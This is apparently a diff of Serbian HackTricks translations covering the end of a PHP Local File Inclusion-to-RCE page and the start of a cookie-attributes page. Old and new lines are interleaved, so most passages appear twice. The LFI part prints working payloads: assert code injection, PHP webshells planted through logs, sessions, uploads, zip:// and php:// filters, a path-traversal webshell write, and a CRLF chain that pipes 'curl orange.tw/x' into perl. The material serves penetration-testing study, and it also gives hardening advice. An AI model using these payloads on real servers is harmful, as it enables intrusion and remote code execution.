||||
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
Local File Inclusion (LFI) rizici u PHP-u su posebno visoki kada se radi sa funkcijom 'assert', koja može izvršiti kod unutar stringova. Ovo je posebno problematično ako se unos koji sadrži karaktere za prelazak direktorijuma kao što je ".." proverava, ali se ne sanitizuje pravilno.
|
||||
Rizik od Local File Inclusion (LFI) u PHP-u je naročito visok kada se radi sa 'assert' funkcijom, koja može izvršavati kod unutar stringova. Ovo je posebno problematično ako se ulaz koji sadrži directory traversal karaktere kao što su ".." proverava, ali nije pravilno očišćen.
|
||||
|
||||
For example, PHP code might be designed to prevent directory traversal like so:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Dok ovo ima za cilj da zaustavi prolazak, nenamerno stvara vektor za injekciju koda. Da bi iskoristio ovo za čitanje sadržaja datoteka, napadač bi mogao da koristi:
|
||||
Iako je cilj da se spreči traversal, to nenamerno stvara vektor za code injection. Da bi iskoristio ovo za čitanje sadržaja fajlova, napadač bi mogao koristiti:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
Slično, za izvršavanje proizvoljnih sistemskih komandi, može se koristiti:
|
||||
Slično tome, za izvršavanje proizvoljnih sistemskih komandi, može se koristiti:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
Važno je **URL-enkodirati ove payload-e**.
|
||||
Važno je **URL-encode these payloads**.
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Ova tehnika je relevantna u slučajevima kada **kontrolišete** **putanju fajla** PHP **funkcije** koja će **pristupiti fajlu**, ali nećete videti sadržaj fajla (kao jednostavan poziv na **`file()`**) ali sadržaj nije prikazan.
|
||||
> Ova tehnika je relevantna u slučajevima kada vi **kontrolišete** **putanju fajla** od **PHP funkcije** koja će **pristupiti fajlu**, ali nećete videti sadržaj fajla (kao jednostavan poziv **`file()`**) jer sadržaj nije prikazan.
|
||||
|
||||
U [**ovom neverovatnom postu**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) objašnjeno je kako se slepa putanja može zloupotrebiti putem PHP filtera da se **ekstrahuje sadržaj fajla putem greške orakla**.
|
||||
U [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) je objašnjeno kako se blind path traversal može zloupotrebiti putem PHP filtera da **exfiltrate the content of a file via an error oracle**.
|
||||
|
||||
Ukratko, tehnika koristi **"UCS-4LE" enkodiranje** da bi sadržaj fajla bio toliko **velik** da će **PHP funkcija koja otvara** fajl izazvati **grešku**.
|
||||
Kao rezime, tehnika koristi **"UCS-4LE" encoding** da bi sadržaj fajla postao toliko **velik** da će **PHP funkcija koja otvara** fajl pokrenuti **error**.
|
||||
|
||||
Zatim, kako bi se iscurio prvi karakter, filter **`dechunk`** se koristi zajedno sa drugim kao što su **base64** ili **rot13**, a na kraju se koriste filteri **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** da se **postave drugi karakteri na početak i iscuri ih**.
|
||||
Zatim, za leak prvog karaktera, filter **`dechunk`** se koristi zajedno sa drugim kao što su **base64** ili **rot13**, i na kraju se koriste filteri **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** da bi se postavili drugi karakteri na početak i izazvao leak.
|
||||
|
||||
**Funkcije koje bi mogle biti ranjive**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (samo ciljani read only sa ovim)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**Funkcije koje mogu biti ranjive**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Za tehničke detalje proverite pomenuti post!
|
||||
Za tehničke detalje pogledajte pomenuti post!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||
|
||||
Kada serverski kod koji unosi/otprema fajlove gradi odredišnu putanju koristeći podatke koje kontroliše korisnik (npr. ime fajla ili URL) bez kanonizacije i validacije, `..` segmenti i apsolutne putanje mogu pobjeći iz predviđene direktorije i izazvati arbitrarnu pisanje fajla. Ako možete postaviti payload pod web-izloženu direktoriju, obično dobijate neautentifikovanu RCE tako što postavljate webshell.
|
||||
Kada server-side kod koji prihvata/otpremi fajlove gradi destinacionu putanju koristeći podatke pod kontrolom korisnika (npr. filename ili URL) bez canonicalising i validacije, `..` segmenti i apsolutne putanje mogu pobeći iz nameravane direktorijuma i prouzrokovati arbitrary file write. Ako možete smestiti payload u web-exposed direktorijum, obično dobijete unauthenticated RCE tako što ubacite webshell.
|
||||
|
||||
Tipičan tok eksploatacije:
|
||||
- Identifikujte write primitiv u endpoint-u ili pozadinskom radniku koji prihvata putanju/ime fajla i piše sadržaj na disk (npr. unos vođen porukama, XML/JSON upravljači komandom, ZIP ektraktori, itd.).
|
||||
- Odredite web-izložene direktorije. Uobičajeni primeri:
|
||||
Typical exploitation workflow:
|
||||
- Identifikujte write primitive u endpointu ili background workeru koji prihvata putanju/ime fajla i upisuje sadržaj na disk (npr. message-driven ingestion, XML/JSON command handlers, ZIP extractors, itd.).
|
||||
- Odredite web-exposed direktorijume. Uobičajeni primeri:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → postavite `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → postavite `shell.aspx`
|
||||
- Kreirajte putanju za prelazak koja izlazi iz predviđene skladišne direktorije u webroot, i uključite sadržaj vašeg webshell-a.
|
||||
- Pregledajte postavljeni payload i izvršite komande.
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- Napravite traversal putanju koja izlazi iz predviđenog direktorijuma za skladištenje u webroot, i uključite sadržaj vašeg webshell-a.
|
||||
- Posetite ubačeni payload i izvršite komande.
|
||||
|
||||
Napomene:
|
||||
- Ranjiva usluga koja vrši pisanje može slušati na ne-HTTP portu (npr. JMF XML slušalac na TCP 4004). Glavni web portal (drugi port) će kasnije poslužiti vaš payload.
|
||||
- Na Java stakovima, ova pisanja fajlova se često implementiraju jednostavnom `File`/`Paths` konkatenacijom. Nedostatak kanonizacije/allow-listinga je osnovna greška.
|
||||
- Usluga koja vrši upis može slušati na non-HTTP portu (npr. JMF XML listener na TCP 4004). Glavni web portal (na drugom portu) će kasnije servirati vaš payload.
|
||||
- Na Java stackovima, ovi upisi fajlova se često implementiraju prostom `File`/`Paths` konkatenacijom. Nedostatak canonicalisation/allow-listing je osnovni propust.
|
||||
|
||||
Generički XML/JMF-stil primer (proizvodni shemi variraju – DOCTYPE/body omotač je nebitan za prelazak):
|
||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<JMF SenderID="hacktricks" Version="1.3">
|
||||
@ -465,26 +466,26 @@ in.transferTo(out);
|
||||
</Command>
|
||||
</JMF>
|
||||
```
|
||||
Hardening koji prevazilazi ovu klasu grešaka:
|
||||
- Rešite na kanonski put i osigurajte da je to poddirektorijum dozvoljenog osnovnog direktorijuma.
|
||||
- Odbacite sve puteve koji sadrže `..`, apsolutne korene ili slova drajva; preferirajte generisane nazive datoteka.
|
||||
- Pokrenite pisca kao nalog sa niskim privilegijama i odvojite direktorijume za pisanje od posluženih korena.
|
||||
Hardening that defeats this class of bugs:
|
||||
- Resolvuј do kanonske putanje i osiguraj da je potomak baze direktorijuma na listi dozvoljenih.
|
||||
- Odbaci svaku putanju koja sadrži `..`, apsolutne root putanje, ili drive letters; preferiraj generisane nazive fajlova.
|
||||
- Pokreni proces za upis kao nalog sa niskim privilegijama i odvoji direktorijume za pisanje od direktorijuma koji se služe.
|
||||
|
||||
## Udaljeno uključivanje datoteka
|
||||
## Remote File Inclusion
|
||||
|
||||
Objašnjeno ranije, [**pratite ovu vezu**](#remote-file-inclusion).
|
||||
Explained previously, [**follow this link**](#remote-file-inclusion).
|
||||
|
||||
### Putem Apache/Nginx log datoteke
|
||||
### Via Apache/Nginx log file
|
||||
|
||||
Ako je Apache ili Nginx server **ranjiv na LFI** unutar funkcije uključivanja, možete pokušati da pristupite **`/var/log/apache2/access.log` ili `/var/log/nginx/access.log`**, postavite unutar **user agent** ili unutar **GET parametra** php shell kao **`<?php system($_GET['c']); ?>`** i uključite tu datoteku.
|
||||
If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
|
||||
|
||||
> [!WARNING]
|
||||
> Imajte na umu da **ako koristite dvostruke navodnike** za shell umesto **jednostavnih navodnika**, dvostruki navodnici će biti modifikovani za string "_**quote;**_", **PHP će baciti grešku** tamo i **ništa drugo neće biti izvršeno**.
|
||||
> Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.
|
||||
>
|
||||
> Takođe, uverite se da **ispravno pišete payload** ili će PHP grešiti svaki put kada pokuša da učita log datoteku i nećete imati drugu priliku.
|
||||
> Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity.
|
||||
|
||||
Ovo se takođe može uraditi u drugim logovima, ali **budite oprezni,** kod unutar logova može biti URL kodiran i to može uništiti Shell. Header **autorizacija "basic"** sadrži "user:password" u Base64 i dekodira se unutar logova. PHPShell može biti umetnut unutar ovog headera.\
|
||||
Ostali mogući putevi logova:
|
||||
This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
|
||||
Other possible log paths:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
/var/log/apache/access.log
|
||||
@ -498,124 +499,129 @@ Ostali mogući putevi logova:
|
||||
```
|
||||
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||
|
||||
### Putem Email-a
|
||||
### Putem e-pošte
|
||||
|
||||
**Pošaljite mail** na interni nalog (user@localhost) koji sadrži vaš PHP payload kao `<?php echo system($_REQUEST["cmd"]); ?>` i pokušajte da uključite u mail korisnika sa putanjom kao **`/var/mail/<USERNAME>`** ili **`/var/spool/mail/<USERNAME>`**
|
||||
**Pošaljite mejl** na interni nalog (user@localhost) koji sadrži vaš PHP payload kao `<?php echo system($_REQUEST["cmd"]); ?>` i pokušajte da uključite mail korisnika putem puta kao **`/var/mail/<USERNAME>`** ili **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Putem /proc/\*/fd/\*
|
||||
|
||||
1. Učitajte mnogo shell-ova (na primer: 100)
|
||||
2. Uključite [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), sa $PID = PID procesa (može se brute force-ovati) i $FD datoteka deskriptora (takođe može da se brute force-uje)
|
||||
1. Otpremite mnogo shells (na primer : 100)
|
||||
2. Uključite [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), pri čemu je $PID = PID procesa (može se brute-force-ovati) a $FD je file descriptor (može se brute-force-ovati takođe)
|
||||
|
||||
### Putem /proc/self/environ
|
||||
|
||||
Kao log fajl, pošaljite payload u User-Agent, biće reflektovan unutar /proc/self/environ fajla
|
||||
Poput log fajla, pošaljite payload u User-Agent; biće reflektovano unutar /proc/self/environ fajla
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Via upload
|
||||
### Putem upload
|
||||
|
||||
Ako možete da otpremite fajl, jednostavno ubacite shell payload u njega (npr: `<?php system($_GET['c']); ?>`).
|
||||
Ako možete uploadovati fajl, jednostavno ubacite shell payload u njega (npr: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Da bi se datoteka održala čitljivom, najbolje je ubrizgati u metapodatke slika/doc/pdf
|
||||
Da bi datoteka bila čitljiva, najbolje je ubaciti u metadata slika/doc/pdf
|
||||
|
||||
### Putem učitavanja Zip datoteke
|
||||
### Putem ZIP file upload
|
||||
|
||||
Učitajte ZIP datoteku koja sadrži PHP shell kompresovanu i pristupite:
|
||||
Otpremite ZIP datoteku koja sadrži kompresovani PHP shell i pristupite:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Putem PHP sesija
|
||||
### Putem PHP sessions
|
||||
|
||||
Proverite da li veb sajt koristi PHP sesiju (PHPSESSID)
|
||||
Proverite da li sajt koristi PHP Session (PHPSESSID)
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
U PHP-u, ove sesije se čuvaju u _/var/lib/php5/sess\\_\[PHPSESSID]\_ datotekama.
|
||||
U PHP-u ove sesije se čuvaju u _/var/lib/php5/sess\\_\[PHPSESSID]\_ fajlovima
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
```
|
||||
Postavite kolačić na `<?php system('cat /etc/passwd');?>`
|
||||
Postavite cookie na `<?php system('cat /etc/passwd');?>`
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
Iskoristite LFI za uključivanje PHP sesion fajla
|
||||
Iskoristite LFI da uključite PHP session file.
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
### Via ssh
|
||||
### Preko ssh
|
||||
|
||||
Ako je ssh aktivan, proverite koji korisnik se koristi (/proc/self/status & /etc/passwd) i pokušajte da pristupite **\<HOME>/.ssh/id_rsa**
|
||||
|
||||
### **Via** **vsftpd** _**logs**_
|
||||
### **Preko** **vsftpd** _**logova**_
|
||||
|
||||
Logovi za FTP server vsftpd se nalaze na _**/var/log/vsftpd.log**_. U scenariju gde postoji ranjivost Local File Inclusion (LFI), i gde je pristup izloženom vsftpd serveru moguć, sledeći koraci se mogu razmotriti:
|
||||
Logovi za FTP server vsftpd se nalaze na _**/var/log/vsftpd.log**_. U scenariju gde postoji Local File Inclusion (LFI) ranjivost i pristup izloženom vsftpd serveru je moguć, sledeći koraci se mogu razmotriti:
|
||||
|
||||
1. Umetnite PHP payload u polje korisničkog imena tokom procesa prijavljivanja.
|
||||
2. Nakon umetanja, iskoristite LFI da preuzmete server logove sa _**/var/log/vsftpd.log**_.
|
||||
1. Injektujte PHP payload u polje za korisničko ime tokom procesa prijave.
|
||||
2. Nakon injektovanja, iskoristite LFI da preuzmete logove servera iz _**/var/log/vsftpd.log**_.
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
### Preko php base64 filtera (koristeći base64)
|
||||
|
||||
Kao što je prikazano u [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) članku, PHP base64 filter jednostavno ignoriše Non-base64. Možete to iskoristiti da zaobiđete proveru ekstenzije fajla: ako dostavite base64 koji se završava sa ".php", on će jednostavno ignorisati "." i dodati "php" na base64. Evo primera payload-a:
|
||||
Kao što je prikazano u [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter jednostavno ignoriše ne-base64 podatke. To možete iskoristiti da zaobiđete proveru ekstenzije fajla: ako obezbedite base64 koji se završava sa ".php", filter će jednostavno ignorisati "." i dodati "php" na base64. Evo primera payload-a:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
### Putem php filters (nije potreban fajl)
|
||||
|
||||
Ovaj [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) objašnjava da možete koristiti **php filters za generisanje proizvoljnog sadržaja** kao izlaz. Što u suštini znači da možete **generisati proizvoljan php code** za include **bez potrebe da ga zapisujete** u fajl.
|
||||
|
||||
Ovaj [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) objašnjava da možete koristiti **php filters za generisanje proizvoljnog sadržaja** kao izlaz. Što u suštini znači da možete **generisati proizvoljan php kod** za include **bez potrebe da ga napišete** u datoteku.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
{{#endref}}
|
||||
|
||||
### Via segmentation fault
|
||||
### Putem segmentation fault
|
||||
|
||||
**Otpremite** fajl koji će biti sačuvan kao **privremen** u `/tmp`, zatim u **istom zahtevu** izazovite **segmentation fault**, i onda taj **privremeni fajl neće biti obrisan** i možete ga potražiti.
|
||||
|
||||
**Upload**-ujte datoteku koja će biti sačuvana kao **privremena** u `/tmp`, zatim u **isto vreme**, izazovite **segmentation fault**, i tada **privremena datoteka neće biti obrisana** i možete je pretraživati.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Nginx temp file storage
|
||||
### Putem Nginx temp file storage
|
||||
|
||||
Ako pronađete **Local File Inclusion** i **Nginx** radi ispred PHP, možda ćete moći dobiti RCE sledećom tehnikom:
|
||||
|
||||
Ako ste pronašli **Local File Inclusion** i **Nginx** radi ispred PHP-a, možda ćete moći da dobijete RCE koristeći sledeću tehniku:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
{{#endref}}
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
### Putem PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Ako pronađete **Local File Inclusion** čak i ako **nemate sesiju** i `session.auto_start` je `Off`. Ako dostavite **`PHP_SESSION_UPLOAD_PROGRESS`** u **multipart POST** podacima, PHP će **omogućiti sesiju za vas**. Ovo možete iskoristiti da dobijete RCE:
|
||||
|
||||
Ako ste pronašli **Local File Inclusion** čak i ako **nemate sesiju** i `session.auto_start` je `Off`. Ako pružite **`PHP_SESSION_UPLOAD_PROGRESS`** u **multipart POST** podacima, PHP će **omogućiti sesiju za vas**. Ovo možete zloupotrebiti da dobijete RCE:
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### Via temp file uploads in Windows
|
||||
### Putem temp file uploads u Windows
|
||||
|
||||
Ako pronađete **Local File Inclusion** i server radi na **Windows**, možda možete dobiti RCE:
|
||||
|
||||
Ako ste pronašli **Local File Inclusion** i server radi na **Windows-u**, možda ćete dobiti RCE:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
{{#endref}}
|
||||
|
||||
### Via `pearcmd.php` + URL args
|
||||
### Putem `pearcmd.php` + URL args
|
||||
|
||||
Kao [**objašnjeno u ovom postu**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skripta `/usr/local/lib/phppearcmd.php` postoji po defaultu u php docker slikama. Štaviše, moguće je proslediti argumente skripti putem URL-a jer je naznačeno da ako URL parametar nema `=`, treba ga koristiti kao argument.
|
||||
Kao što je [**objašnjeno u ovom postu**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skripta `/usr/local/lib/phppearcmd.php` postoji po defaultu u php docker images. Štaviše, moguće je proslediti argumente skripti preko URL-a jer je naznačeno da ako URL param nema `=`, treba da bude korišćen kao argument. Pogledajte i [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) i [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
|
||||
Sledeći zahtev kreira datoteku u `/tmp/hello.php` sa sadržajem `<?=phpinfo()?>`:
|
||||
Sledeći zahtev kreira fajl u `/tmp/hello.php` sa sadržajem `<?=phpinfo()?>`:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
Sledeće zloupotrebljava CRLF ranjivost da bi dobilo RCE (iz [**ovde**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
U nastavku se zloupotrebljava CRLF vuln da bi se dobilo RCE (iz [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
@ -624,37 +630,37 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
||||
```
|
||||
### Putem phpinfo() (file_uploads = on)
|
||||
|
||||
Ako ste pronašli **Local File Inclusion** i datoteku koja izlaže **phpinfo()** sa file_uploads = on, možete dobiti RCE:
|
||||
Ako nađete **Local File Inclusion** i fajl koji izlaže **phpinfo()** sa file_uploads = on, možete dobiti RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-phpinfo.md
|
||||
{{#endref}}
|
||||
|
||||
### Putem compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Otkrivanje putanje
|
||||
### Putem compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
Ako ste pronašli **Local File Inclusion** i možete **izvući putanju** privremene datoteke, ALI **server** **proverava** da li **datoteka koja se uključuje ima PHP oznake**, možete pokušati da **obiđete tu proveru** sa ovom **Race Condition**:
|
||||
Ako nađete **Local File Inclusion** i možete **exfiltrate the path** privremenog fajla ALI **server** proverava da li **fajl koji treba da se uključi ima PHP marks**, možete pokušati da **bypass that check** ovom **Race Condition**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
{{#endref}}
|
||||
|
||||
### Putem večnog čekanja + bruteforce
|
||||
### Putem eternal waiting + bruteforce
|
||||
|
||||
Ako možete da zloupotrebite LFI da **otpremite privremene datoteke** i naterate server da **zakaže** PHP izvršenje, mogli biste da **bruteforce-ujete imena datoteka tokom sati** da pronađete privremenu datoteku:
|
||||
Ako možete zloupotrebiti LFI da **upload temporary files** i naterate server da **hang** PHP izvršenje, onda možete **brute force filenames during hours** da biste pronašli privremeni fajl:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
{{#endref}}
|
||||
|
||||
### Do Fatal Error
|
||||
### Do Fatal Error-a
|
||||
|
||||
Ako uključite bilo koju od datoteka `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Morate uključiti istu dva puta da biste izazvali tu grešku).
|
||||
Ako uključite bilo koji od fajlova `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Morate uključiti isti fajl 2 puta da biste izazvali tu grešku).
|
||||
|
||||
**Ne znam kako je ovo korisno, ali možda jeste.**\
|
||||
_Čak i ako izazovete PHP Fatal Error, PHP privremene datoteke koje su otpremljene se brišu._
|
||||
**Ne znam koliko je ovo korisno, ali možda jeste.**\
|
||||
_Čak i ako prouzrokujete PHP Fatal Error, PHP privremeni fajlovi koji su otpremljeni se brišu._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -664,6 +670,9 @@ _Čak i ako izazovete PHP Fatal Error, PHP privremene datoteke koje su otpremlje
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
|
||||
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
|
||||
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
|
||||
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
|
@ -1,156 +1,163 @@
|
||||
# Hacking Kolačića
|
||||
# Cookies Hacking
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Atributi Kolačića
|
||||
## Atributi kolačića
|
||||
|
||||
Kolačići dolaze sa nekoliko atributa koji kontrolišu njihovo ponašanje u korisnikovom pretraživaču. Evo pregleda ovih atributa u pasivnijem tonu:
|
||||
Kolačići imaju nekoliko atributa koji kontrolišu njihovo ponašanje u korisnikovom browseru. Evo pregleda tih atributa u pasivnijem tonu:
|
||||
|
||||
### Expires i Max-Age
|
||||
### Expires and Max-Age
|
||||
|
||||
Datum isteka kolačića određuje atribut `Expires`. Nasuprot tome, atribut `Max-age` definiše vreme u sekundama do brisanja kolačića. **Odaberite `Max-age` jer odražava modernije prakse.**
|
||||
Datum isteka kolačića određuje se pomoću atributa `Expires`. Nasuprot tome, atribut `Max-age` definiše vreme u sekundama dok se kolačić ne obriše. **Preporučuje se `Max-age` jer odražava modernije prakse.**
|
||||
|
||||
### Domen
|
||||
### Domain
|
||||
|
||||
Domaćini koji primaju kolačić određeni su atributom `Domain`. Podrazumevano, ovo je postavljeno na domaćina koji je izdao kolačić, ne uključujući njegove poddomenke. Međutim, kada je atribut `Domain` eksplicitno postavljen, obuhvata i poddomenke. Ovo čini specifikaciju atributa `Domain` manje restriktivnom opcijom, korisnom za scenarije gde je deljenje kolačića između poddomenki neophodno. Na primer, postavljanje `Domain=mozilla.org` čini kolačiće dostupnim na njegovim poddomenama kao što je `developer.mozilla.org`.
|
||||
Hostove koji treba da prime kolačić specificira atribut `Domain`. Po defaultu, ovo je postavljeno na host koji je izdao kolačić, ne uključujući njegove poddomene. Međutim, kada se atribut `Domain` eksplicitno postavi, on obuhvata i poddomene. To čini specificiranje atributa `Domain` manje restriktivnom opcijom, korisnom za scenarije gde je deljenje kolačića između poddomena potrebno. Na primer, postavljanje `Domain=mozilla.org` čini kolačiće dostupnim na njegovim poddomenima poput `developer.mozilla.org`.
|
||||
|
||||
### Putanja
|
||||
### Path
|
||||
|
||||
Specifična URL putanja koja mora biti prisutna u zahtevanom URL-u da bi se `Cookie` zaglavlje poslalo označena je atributom `Path`. Ovaj atribut smatra karakter `/` kao separator direktorijuma, omogućavajući podudaranja u poddirektorijumima.
|
||||
Atribut `Path` označava specifičan URL put koji mora biti prisutan u traženom URL-u da bi se header `Cookie` poslao. Ovaj atribut smatra karakter `/` kao separator direktorijuma, omogućavajući podudaranje i u poddirektorijumima.
|
||||
|
||||
### Pravila Redosleda
|
||||
### Ordering Rules
|
||||
|
||||
Kada dva kolačića imaju isto ime, onaj koji se bira za slanje zasniva se na:
|
||||
Kada dva kolačića imaju isto ime, onaj koji se šalje bira se na osnovu:
|
||||
|
||||
- Kolačiću koji se podudara sa najdužom putanjom u zahtevanom URL-u.
|
||||
- Najnovije postavljenom kolačiću ako su putanje identične.
|
||||
- Kolačić koji odgovara najdužem path-u u traženom URL-u.
|
||||
- Kolačić koji je najnovije postavljen ako su path-ovi identični.
|
||||
|
||||
### SameSite
|
||||
|
||||
- Atribut `SameSite` određuje da li se kolačići šalju na zahteve koji potiču sa domena trećih strana. Nudi tri podešavanja:
|
||||
- **Strict**: Ograničava kolačić da se ne šalje na zahteve trećih strana.
|
||||
- **Lax**: Omogućava kolačiću da se šalje sa GET zahtevima koje pokreću veb sajtovi trećih strana.
|
||||
- **None**: Dozvoljava kolačiću da se šalje sa bilo kog domena treće strane.
|
||||
- Atribut `SameSite` određuje da li se kolačići šalju na request-e koji potiču sa third-party domena. Nudi tri podešavanja:
|
||||
